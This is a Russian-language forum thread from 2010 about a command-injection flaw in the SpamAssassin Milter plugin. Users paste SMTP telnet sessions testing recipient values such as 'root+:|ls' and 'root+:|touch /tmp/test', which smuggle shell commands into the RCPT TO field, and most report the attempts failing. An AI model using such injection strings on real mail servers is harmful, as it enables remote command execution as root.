LINUX.ORG.RU

Критическая уязвимость в SpamAssassin Milter Plugin


0

0

Уязвимость позволяет выпонить любой код на сервере с root. Для этого достаточно отравить письмо в поле «rcpt to» находится строка «root+:|команда»). Например - «root+:poweroff». Проблема касается абсолютно всех MTA поддерживающих milter.

>>> Подробности



Проверено: hibou ()

windowsxp@home ~> telnet localhost 25

Trying 127.0.0.1...

Connected to localhost

Escape character is '^]'.

220 ESMTP Fri, 19 Mar 2010 19:48:06 +0200 (EET)

mail from: windowsxp@localhost

250 2.1.0 windowsxp@localhost... Sender ok

rcpt to: root+:«|touch /tmp/foobar123»

550 5.7.1 root+:«|touch /tmp/foobar123»... Cannot mail directly to programs

RCPT TO:<root+:|ls>

250 2.1.5 <root+:|ls>... Recipient ok

Эммммммммммммммммммммммммммм

WindowsXP ★★
()
Ответ на: комментарий от WindowsXP

WindowsXP> RCPT TO:<root+:|ls>
250 2.1.5 <root+:|ls>... Recipient ok

Как вам это удается?

rcpt to: <root+:|ls>
501 <root+:|ls>: "@" or "." expected after "root+"

sdio ★★★★★
()
Ответ на: комментарий от sdio

делаю:

$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ********* ESMTP Postfix
mail from: test@localhost
250 2.1.0 Ok
RCPT TO:<root+:|«touch /tmp/test»>
250 2.1.5 Ok
quit
221 2.0.0 Bye
Connection closed by foreign host.
$ ls /tmp/test
ls: невозможно получить доступ к /tmp/test: Нет такого файла или каталога


ЧЯДНТ?

isden ★★★★★
()

Для этого достаточно отравить письмо в поле «rcpt to» находится строка «root+:|команда»)
EpicFail разрабам.

WARNING ★★★★
()

да настройте уже нормально свои MTA!

rcpt to: root+:"|touch /tmp/foobar123"
501 5.1.3 Bad recipient address syntax

rcpt to: <root+:"|touch /tmp/foobar123">
504 5.5.2 <root+:|touch /tmp/foobar123>: Recipient address rejected: need fully-qualified address

r0mik
()

<root+:|touch /tmp/foobar123>: Recipient address rejected: User unknown in virtual mailbox table

Сойдёт.

sv75 ★★★★★
()
Ответ на: комментарий от smh

> Вот это уязвимость так уязвимость...

Это не уязвимость. Это естественный отбор >_<

sv75 ★★★★★
()
Ответ на: комментарий от isden

смотри логи, сервер может делать обработку всех правил после получения всего письма. Т.е. клиент всегда увидет ОК, но письмо могут молча завернуть позже.

anonymous
()
Ответ на: комментарий от isden

ах.. ты же там даже письма не написал. Пиши полностью как положено с DATA. В конце (т.е. после точки с ентерами) может быть MTA скажет что о тебе думает.

anonymous
()
Ответ на: комментарий от anonymous

...
RCPT TO:<root+:|«touch /tmp/test»>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
test
test
test
.
250 2.0.0 Ok: queued as 66E38BEB8
quit
221 2.0.0 Bye
Connection closed by foreign host.
$ ls -al /tmp/test
ls: невозможно получить доступ к /tmp/test: Нет такого файла или каталога

isden ★★★★★
()
Ответ на: комментарий от splinter

>я валяюсь с таких уязвимостей... за это в морду бить надо!

Ты что! Не смей гнать на опенсорс! Только тут самый надежный и недырявый софт! Каждая строчка кода проверяется двамильярда раз всем комьюнити!

troll_them_all
()

вот, а вы всё венда да венда, чтоб в венде remote shell сделать, надо же компилировать что-то, извращаться, думать, а тут уже готовый remote shell на 25м порту.

Reset ★★★★★
()
Ответ на: комментарий от isden

Скорее всего не всё ОК. Он полез в базу смотреть адрес. Потенциальный милтер может сработать перед этим. Должна быть сначала проверка на валидность адресов. И вообще сервер с пост обработкой легко за DOS'ить и забанить на всех релеях.

anonymous
()
Ответ на: комментарий от anonymous

неа, таки ОК. это рабочая станция в локалке. на всех машинах что смотрят наружу - сразу отбивается.

isden ★★★★★
()
Ответ на: комментарий от splinter

> я валяюсь с таких уязвимостей... за это в морду бить надо! юзаешь sendmail? сам себе злобный буратино

anonymous
()

Эпичная дыра! Надо бы кое-что обновить будет. Спасибо, ЛОР

rave
()

220 *** ESMTP Exim 4.71 Sat, 20 Mar 2010 00:17:23 +0300

rcpt to: root+:«|touch /tmp/foo»
501 root+:«|touch /tmp/foo»: missing or malformed local part (expected word or «<»)

rcpt to: root+:|ls
501 root+:|ls: missing or malformed local part (expected word or «<»)

rcpt to: <root+:|ls>
501 <root+:|ls>: «@» or "." expected after «root+»

как такое письмо добавить в очередь?

Eshkin_kot ★★
()

Эпичненькое такое решето :}

Deleted
()
Ответ на: комментарий от unixnik

uptime 49 дней и все работает на дебиан сид. и музыкой я тоже видите ли умудряюсь заниматься. И все работает. И не нужна виндовс 7. Странно, правда?

anonymous
()

Не пашет.Может фряшные патчи )

pinachet ★★★★★
()
Ответ на: комментарий от voltaren

в 2005 предуперждали -не надо юзать milter

http://opennet.ru/base/net/tranz_spamassassin.txt.html

# Проверка спама через Spamassassin в тран, iogan18tm, 13:25, 30/10/2005 [ответить] (1)+/– также есть статья по настройке этого дела без milter. Ибо большие они глюкало. http://www.brandonhutchinson.com/Using_SpamAssassin_on_a_Sendmail_relay.html

anonymous
()
Ответ на: комментарий от anonymous

uptime 49 дней и все работает на дебиан сид. и музыкой я тоже видите ли умудряюсь заниматься. И все работает. И не нужна виндовс 7. Странно, правда?

Наигрывание на миди клавиатуре миди рингтоны? Да, оч смешно.

unixnik ★★★★★
()

Новость похожа на первоапрельскую шутку))

К счастью, на нормальных серверах оно не работает

550 5.1.1 <root+:|ls>: Recipient address rejected: User unknown in local recipient table

Вообще известен хоть один случай успешного применения?

Hawkeye
()
Ответ на: комментарий от melkor217

> разве upgrade требует подтверждения? P_P

да. Сюрприз? :)

JB ★★★★★
()
Ответ на: комментарий от Momyc

<i>так что это не бэкдор, а обычные пеловые костыли, случайно забытые строителями.</i>

Случайно что-то забывают не строители...

Буйная фантазия нарисовала мне картину как два хирурга забыли костыли в животе у пациента...

Это более точный аналог для обсуждаемой уязвимости.

shaplov ★★★
()
Ответ на: комментарий от ubuntulover

>Одно поколение - 25 лет. К.О.

команде WIZ примерно столько же )

k0l0b0k ★★
()
Ответ на: комментарий от Hawkeye

> Вообще известен хоть один случай успешного применения?

Ну вон у кого-то выше по треду сервак отвалился после reboot.

anonymous
()
Ответ на: комментарий от anonymous

> Ну вон у кого-то выше по треду сервак отвалился после reboot.

никто нигде не валился
в этом треде пока что спалился только саныч со своей убунтой

r0mik
()
Ответ на: комментарий от Sun-ch



| поставить забыл :). Я его сознательно пропустил, чтобы тупые дети не хулиганили.


непонял логики.

...то что «|» не указан в примере — это заметили все..
(хотя пример всегда ОТОБРАЖАЕТ ФАКТ, в то время как теория отображает только общий НЕКОНКРЕТИЗИРОВАННЫЙ смысл)

но вот нащёт: >>>чтобы тупые дети не хулиганили<<< %) %) %) %)

Я его сознательно пропустил<<<


тупые дети<<<

тупые<<<



поставить забыл<<<

Я<<<



непонял из этого предложения кто декларируется как тупой?

%) %) %) %)

mkfifo
()
Ответ на: [:|||||WWW^...V|||:] от nnz

Ага, раскопали

[quote]When the software is invoked with the expand (-x) flag, the software makes an unsafe popen() call. A remote user can send a specially crafted RCPT TO value to execute arbitrary code on the target system.[/quote] http://savannah.nongnu.org/bugs/?29136

netmaniac
()
Ответ на: комментарий от Sun-ch

>Ошибка в плугине

Сознательно включенная, тщательно обфусцированная возможность.

Dimanc ★★
()

посмотрите на мой аватар и сделайте вывод о программе

peanut
()

>Для этого достаточно отравить письмо

отравить письмо

отравить

Как верно написано!

P.S. Хм... Создать червя, который будет везде выполнять апгрейд... Интересно, это будет первый в мире полезный червь/вирь?

hdfan2
()
Ответ на: комментарий от hdfan2

> Интересно, это будет первый в мире полезный червь/вирь?

Нет. Под винду были какие-то.

anonymous
()
Ответ на: комментарий от Reset

> а тут уже готовый remote shell на 25м порту.
Только, вот досада, не работает.

Lumi ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.